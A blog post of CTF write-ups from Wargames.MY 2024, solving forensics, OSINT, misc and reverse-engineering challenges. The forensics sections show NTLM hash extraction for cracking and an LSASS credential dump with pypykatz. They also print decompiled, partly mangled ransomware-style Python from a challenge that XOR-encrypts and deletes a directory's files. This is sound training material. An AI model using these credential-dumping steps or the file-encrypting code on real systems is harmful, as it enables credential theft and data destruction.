Post

Wargames.MY 2024 - Writeups

This is a writeup for some forensics, OSINT, misc and rev challenges from Wargames.MY 2024. As promised last year, I will come back stronger for Wargames.MY CTF and the final results this year was evident. What made this CTF special this year was the organizers allowing no team limit for open division teams, so this gave us the opportunity to form our own “Avengers” squad to have fun and win the CTF together. Fortunately enough, we managed to achieve 3rd place out of 266 teams (was a close battle between the top 3 teams). #NotSponsoredByHotBird

I Cant Manipulate People [Forensics]

Question: Partial traffic packet captured from hacked machine, can you analyze the provided pcap file to extract the message from the packet perhaps by reading the packet data?

Flag: WGMY{1e3b71d57e466ab71b43c2641a4b34f4}

We are given a PCAP file to investigate. According to the name of the challenge, this was most likely a classic forensics challenge that involves ICMP packets to store the flag characters within their data byte.

icmp

The flag can be obtained using a simple Python script.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import subprocess
import binascii

def geticmp(pcap_file):
    try:
        tshark_command = [
            "tshark",
            "-r", pcap_file,
            "-T", "fields",
            "-e", "data",
            "-Y", "icmp"
        ]
        result = subprocess.run(tshark_command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
        
        if result.returncode != 0:
            raise Exception(f"Error running tshark: {result.stderr}")

        hex_data_lines = result.stdout.strip().split("\n")
        hex_data_lines = [line for line in hex_data_lines if line]
        
        if not hex_data_lines:
            return "No ICMP payload data found."
        
        concatenated_hex = "".join(hex_data_lines)
        
        decoded_data = binascii.unhexlify(concatenated_hex).decode('utf-8', errors='ignore')
        
        return decoded_data
    
    except FileNotFoundError:
        return "tshark is not installed or not found in PATH."
    except Exception as e:
        return f"An error occurred: {e}"

if __name__ == "__main__":
    pcap_file_path = "traffic.pcap"
    
    result = geticmp(pcap_file_path)
    
    print("Decoded ICMP Data:")
    print(result)
1
2
3
└─$ python icmp.py  
Decoded ICMP Data:
WGMY{1e3b71d57e466ab71b43c2641a4b34f4}

Unwanted Meow [Forensics]

Question: Uh.. Oh.. Help me, I just browsing funny cats memes, when I click download cute cat picture, the file that been download seems little bit wierd. I accidently run the file making my files shredded. Ughh now I hate cat meowing at me.

Flag: wgmy{4a4be40c96ac6314e91d93f38043a634}

We are given a broken JPG image to investigate. Analyzing it, there were several bogus “meow” data placed within different sections of the image.

cat1

The JPG image can be fixed accordingly using a simple Python script.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import re

broken = "flag.shredded"
fixed = "flag.jpg"

def removecat(input_file, output_file):
    with open(input_file, "rb") as file:
        data = file.read()

    strings = re.findall(b"[ -~]{4,}", data)
    cleaned = [re.sub(b".?meow.?", b"", string) for string in strings]
    cleaned_data = data

    for original, cleaned in zip(strings, cleaned):
        cleaned_data = cleaned_data.replace(original, cleaned)

    with open(output_file, "wb") as file:
        file.write(cleaned_data)

    print(f"Output saved to {output_file}")

removecat(broken, fixed)

flag

Oh Man [Forensics]

Question: We received a PCAP file from an admin who suspects an attacker exfiltrated sensitive data. Can you analyze the PCAP file and uncover what was stolen?

Flag: wgmy{fbba48bee397414246f864fe4d2925e4}

We are given a PCAP file to investigate. Analyzing it, a stream of SMB2 encrypted packets can be identified, so we must most likely find a secret key to decrypt them. Here, we can easily locate NTLM authentication exchanges within the protocol.

smb1

Encountering this kind of challenge before in another CTF, the method seems to be similar where we had to craft our own NTLM hash using specific information in the authentication packets. Here is a good reference about it: How to extract NTLM Hashes from Wireshark Captures for cracking with Hashcat

smb2

Following the video, the final NTLM hash can be obtained using the relevant information:

1
Administrator::DESKTOP-PMNU0JK:7aaff6ea26301fc3:ae62a57caaa5dd94b68def8fb1c192f3:01010000000000008675779b2e57db01376f686e57504d770000000002001e004400450053004b0054004f0050002d0050004d004e00550030004a004b0001001e004400450053004b0054004f0050002d0050004d004e00550030004a004b0004001e004400450053004b0054004f0050002d0050004d004e00550030004a004b0003001e004400450053004b0054004f0050002d0050004d004e00550030004a004b00070008008675779b2e57db010900280063006900660073002f004400450053004b0054004f0050002d0050004d004e00550030004a004b000000000000000000

smb3

After cracking the hash, the password can be used to decrypt the SMB2 packets in Wireshark. Here, we can identify multiple decrypted SMB objects in the traffic.

smb4

smb5

The 5cRxHmEj file seems to be showing a series of commands to dump the LSASS credentials.

1
2
3
4
5
└─$ cat %5cWindows%5cTemp%5cRxHmEj
The minidump has an invalid signature, restore it running:
scripts/restore_signature 20241225_1939.log
Done, to get the secretz run:
python3 -m pypykatz lsa minidump 20241225_1939.log

Essentially, we can just follow the commands accordingly using nanodump and pypykatz to obtain the flag from the log file.

smb6

smb7

Tricky Malware [Forensics]

Question: My SOC detected there are Ransomware that decrypt file for fun. The script kiddies is so tricky. Here some evidence that we successfully retrieve.

Flag: WGMY{8b9777c8d7da5b10b65165489302af32}

We are given a memory dump and PCAP file to investigate. Analyzing the processes within the memory dump, several suspicious processes from crypt.exe can be identified being executed in a Desktop folder.

1
2
3
4
5
6
7
8
9
10
11
12
13
└─$ python3 vol.py -f ~/Desktop/Evidence/memdump.mem windows.pstree                                                   
Volatility 3 Framework 2.13.0
Progress:  100.00               PDB scanning finished                        
PID     PPID    ImageFileName   Offset(V)       Threads Handles SessionId       Wow64   CreateTime      ExitTime        Audit   Cmd     Path

---SNIP---

*** 5548        2964    SecurityHealth  0xbc0ca734a080  3       -       1       False   2024-12-24 11:52:42.000000 UTC  N/A     \Device\HarddiskVolume3\Windows\System32\SecurityHealthSystray.exe      -       -
*** 5200        2964    crypt.exe       0xbc0ca6be6340  3       -       1       False   2024-12-24 12:01:07.000000 UTC  N/A     \Device\HarddiskVolume3\Users\user\Desktop\Blow\crypt.exe       "C:\Users\user\Desktop\Blow\crypt.exe"  C:\Users\user\Desktop\Blow\crypt.exe
**** 6596       5200    crypt.exe       0xbc0ca6bd0080  4       -       1       False   2024-12-24 12:01:09.000000 UTC  N/A     \Device\HarddiskVolume3\Users\user\Desktop\Blow\crypt.exe       "C:\Users\user\Desktop\Blow\crypt.exe"  C:\Users\user\Desktop\Blow\crypt.exe
**** 5204       5200    conhost.exe     0xbc0ca7751300  6       -       1       False   2024-12-24 12:01:07.000000 UTC  N/A     \Device\HarddiskVolume3\Windows\System32\conhost.exe    \??\C:\Windows\system32\conhost.exe 0x4 C:\Windows\system32\conhost.exe
*** 5788        2964    vmtoolsd.exe    0xbc0ca7580080  10      -       1       False   2024-12-24 11:52:43.000000 UTC  N/A     \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\vmtoolsd.exe  "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr       C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
6136    6172    FTK Imager.exe  0xbc0ca690b080  25      -       1       True    2024-12-24 11:56:16.000000 UTC  N/A     \Device\HarddiskVolume3\Program Files (x86)\AccessData\FTK Imager\FTK Imager.exe        "C:\Program Files (x86)\AccessData\FTK Imager\FTK Imager.exe"      C:\Program Files (x86)\AccessData\FTK Imager\FTK Imager.exe

However, it seems that there were 3 instances of crypt.exe executed in the system. Dumping the first crypt.exe file, it was identified to be a PyInstaller executable file.

1
2
3
4
└─$ python3 vol.py -f ~/Desktop/Evidence/memdump.mem windows.filescan | grep -iE crypt.exe
0xbc0ca7eb88c0.0\Users\user\Desktop\Blow\crypt.exe
0xbc0ca8856280  \Users\user\Desktop\Blow\crypt.exe
0xbc0ca885f6f0  \Users\user\Desktop\Blow\crypt.exe
1
2
3
4
5
6
7
└─$ python3 vol.py -f ~/Desktop/Evidence/memdump.mem -o ~/Desktop windows.dumpfiles --virtaddr 0xbc0ca7eb88c0         
Volatility 3 Framework 2.13.0
Progress:  100.00               PDB scanning finished                        
Cache   FileObject      FileName        Result

DataSectionObject       0xbc0ca7eb88c0  crypt.exe       Error dumping file
ImageSectionObject      0xbc0ca7eb88c0  crypt.exe       file.0xbc0ca7eb88c0.0xbc0ca6ce1010.ImageSectionObject.crypt.exe.img
1
2
3
4
5
6
7
8
9
10
11
└─$ strings file.0xbc0ca7eb88c0.0xbc0ca8832230.DataSectionObject.crypt.exe.dat | tail
bcharset_normalizer\md.cp312-win_amd64.pyd
bcharset_normalizer\md__mypyc.cp312-win_amd64.pyd
blibcrypto-3.dll
blibssl-3.dll
bpython312.dll
bselect.pyd
bunicodedata.pyd
opyi-contents-directory _internal
zPYZ-00.pyz
8python312.dll

Unpacking and analyzing the Python source code, a Pastebin URL can be identified which redirects to the flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: crypt.py
# Bytecode version: 3.12.0rc2 (3531)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)

import os
import requests

def fetch_key_from_pastebin(url):
    """Fetch the encryption key from a Pastebin URL."""  # inserted
    try:
        response = requests.get(url)
        response.raise_for_status()
        return response.text.strip()
    except requests.exceptions.RequestException as e:
        print(f'Error fetching key: {e}0')
    else:  # inserted
        pass

def xor_encrypt_decrypt(data, key):
    """Encrypt or decrypt data using XOR with the given key."""  # inserted
    key_bytes = key.encode('utf-8')
    key_length = len(key_bytes)
    return bytes([data[i] ^ key_bytes[i % key_length] for i in range(len(data))])

def process_file(file_path, key, encrypt=True):
    """Encrypt or decrypt a file and modify its extension."""  # inserted
    try:
        with open(file_path, 'rb') as file:
            pass  # postinserted
    except Exception as e:
            data = file.read()
                processed_data = xor_encrypt_decrypt(data, key)
                if encrypt:
                    new_file_path = file_path + '.oiiaiouiiiai'
                else:  # inserted
                    new_file_path = file_path.rsplit('.oiiaiouiiiai', 1)[0]
                with open(new_file_path, 'wb') as file:
                    file.write(processed_data)
                        os.remove(file_path)
                        print(f'Processed {file_path} -> {new_file_path}')
            print(f'Failed to process {file_path}: {e}')
if __name__ == '__main__':
    pastebin_url = 'https://pastebin.com/raw/PDXfh5bb'
    key = fetch_key_from_pastebin(pastebin_url)
    if not key:
        print('Failed to retrieve the key.')
        exit(1)
    for file_name in os.listdir():
        if not os.path.isfile(file_name):
            continue
        if file_name == os.path.basename(__file__):
            continue
        if file_name.endswith('.oiiaiouiiiai'):
            process_file(file_name, key, encrypt=False)
        else:  # inserted
            process_file(file_name, key, encrypt=True)

mem

迅帝 [OSINT]

Question: I created this chal just because people keep asking for OSINT chal in WGMY 2023. Here we go: “18 years, I waited 18 years and finally they are active once again. We managed to obtain some artifact from their last work, it seem a secret message is hidden deep inside. Find out what to do with these files. Oh, right, our agent has further message for you: ‘Melancholy Angel holds the flag.’ Good Luck, you need it.”

Flag: wgmy{bf125e1fd5095254a4bd93ffc300e256}

We are tasked to find information about the artifacts given. Analyzing them, they seem to be binary files, which 1 of them being UCL packed.

1
2
3
└─$ file *             
BUILD.DAT: UCL compressed data
BUILD.TOC: data

Doing some research online, I stumbled upon this forum page that mentioned both the files to be game data files, specifically from Xbox 360.

osint1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
└─$ strings BUILD.DAT | grep -iE Xbox
) Xbox 360 Shader Compil
ps_3_1Microsoft (R) Xbox 3
) Xbox 360 Shader Compil
Microsoft (R) Xbox 360 Shad
Xbox 360 Shader Compil
soft (R) Xbox 360 Shader Compil
 Xbox 360 Shader Compil
rosoft (R) Xbox 360 Shader Compi{
Xbox 360 Shader Compil
Microsoft (R) Xbox 360 
) Xbox 360 Shader Compil
rosoft (R) Xbox 360 Shader Compi{
icrosoft (R) Xbox 360 Shader 
ft (R) Xbox 360 S/er }mp
Xbox 360 Shader Compil
Microsoft (R) Xbox 360 
Microsoft (R) Xbox 360

Reading more about what the files were, a user from this forum page mentioned that the UCL compressed DAT file can actually be unpacked using a tool called quickbms with tokyo_xtreme_racer.bms (a special script for the tool).

osint2

osint3

Unpacking the file, multiple binary data and texture files can be obtained from it. After countless hours (and a great sushi lunch with the boys), I managed to figure out a dumb way to supposedly obtain the flag.

osint4

Since the texture files seem to be supported by GIMP, I attempted to brute force my way to find the flag from ALL the texture files. Additionally, since the challenge description mentioned something about Melancholy Angel, the flag can be obtained from Melancholy Angel’s logo texture file.

osint5

The amount of rabbit holes me and my teammate @PLZ ENTER TEXT went through was insane. We attempted to carve data from the game data files, figure out how to convert the game data files into an ISO file and emulate the Xbox game with Xemu, and search online users called Melancholy Angel on social media. Safe to say, our sanity was dead.

Christmas GIFt [Misc]

Question: Here is your christmas GIFt from santa! Just open and wait for it..

Flag: wgmy{51fadeb6cc77504db336850d53623177}

We are given a large GIF file to investigate. It was pretty straightforward, the flag can be obtained from the last frame of the GIF using tools like stegsolve.

steg1

The DCM Meta [Misc]

Question: [25, 10, 0, 3, 17, 19, 23, 27, 4, 13, 20, 8, 24, 21, 31, 15, 7, 29, 6, 1, 9, 30, 22, 5, 28, 18, 26, 11, 2, 14, 16, 12]

Flag: wgmy{51fadeb6cc77504db336850d53623177}

We are given a DCM file to investigate. Analyzing it, the flag characters can be identified within it’s raw data, however, the flag was incorrect.

dcm1

Being confused on why the flag was incorrect, my teammate @pikaroot managed to identify something suspicious. The challenge description seems to be an array with the index range of 0-31 (which is length of the flag). Arranging the characters using the appropriate index, the flag can be obtained.

dcm2

Stones [Rev]

Question: When Thanos snapped his fingers, half of the flag was blipped. We need the Avengers to retrieve the other half. There’s no flag in the movie, but there is a slash flag on the server.

Flag: WGMY{1d2993fc6327746830cd374debcb98f5}

We are given an unknown file to investigate. Analyzing the file, we can see identify it to be a PyInstaller executable file.

1
2
3
4
5
6
7
8
9
10
11
└─$ strings stones.whatdis | tail                                                    
bcharset_normalizer\md__mypyc.cp310-win_amd64.pyd
blibcrypto-1_1.dll
blibssl-1_1.dll
bpython310.dll
bselect.pyd
bucrtbase.dll
bunicodedata.pyd
opyi-contents-directory _internal
zPYZ-00.pyz
6python310.dll

Unpacking and analyzing the Python source code, the first part of the flag and two URLs that redirects to two different websites can be identified.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: CHAL-stones.py
# Bytecode version: 3.10.0rc2 (3439)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)

import requests
from datetime import datetime
from urllib.request import urlopen
from datetime import datetime
server_url = 'http://3.142.133.106:8000/'
current_time = urlopen('http://just-the-time.appspot.com/')
current_time = current_time.read().strip()
current_time = current_time.decode('utf-8')
current_date = current_time.split(' ')[0]
local_date = datetime.now().strftime('%Y-%m-%d')
if current_date == local_date:
    print("We're gonna need a really big brain; bigger than his?")
first_flag = 'WGMY{1d2993'
user_date = current_date
params = {'first_flag': first_flag, 'date': user_date}
response = requests.get(server_url, params=params)
if response.status_code == 200:
    print(response.json()['flag'])
else:
    print(response.json()['error'])

Accessing the first website (http://3.142.133.106:8000/), the website API seems to be expecting the first part of the flag and the correct date within the URL parameters to output the second part of the flag.

rev1

rev2

Accessing the second website (http://just-the-time.appspot.com/), it seems to be only be showing the current timestamp.

rev3

After some time, the author gave a hint mentioning something about the /flag path. Accessing it will lead to a YouTube video of an Avengers clip.

rev4

rev5

Testing the upload date of the YouTube video, the flag can be obtained.

rev6

Scoreboard

Team HotBirdGl4z3rs

OPEN_WINNERS_WGMY24_V2

This post is licensed under CC BY 4.0 by the author.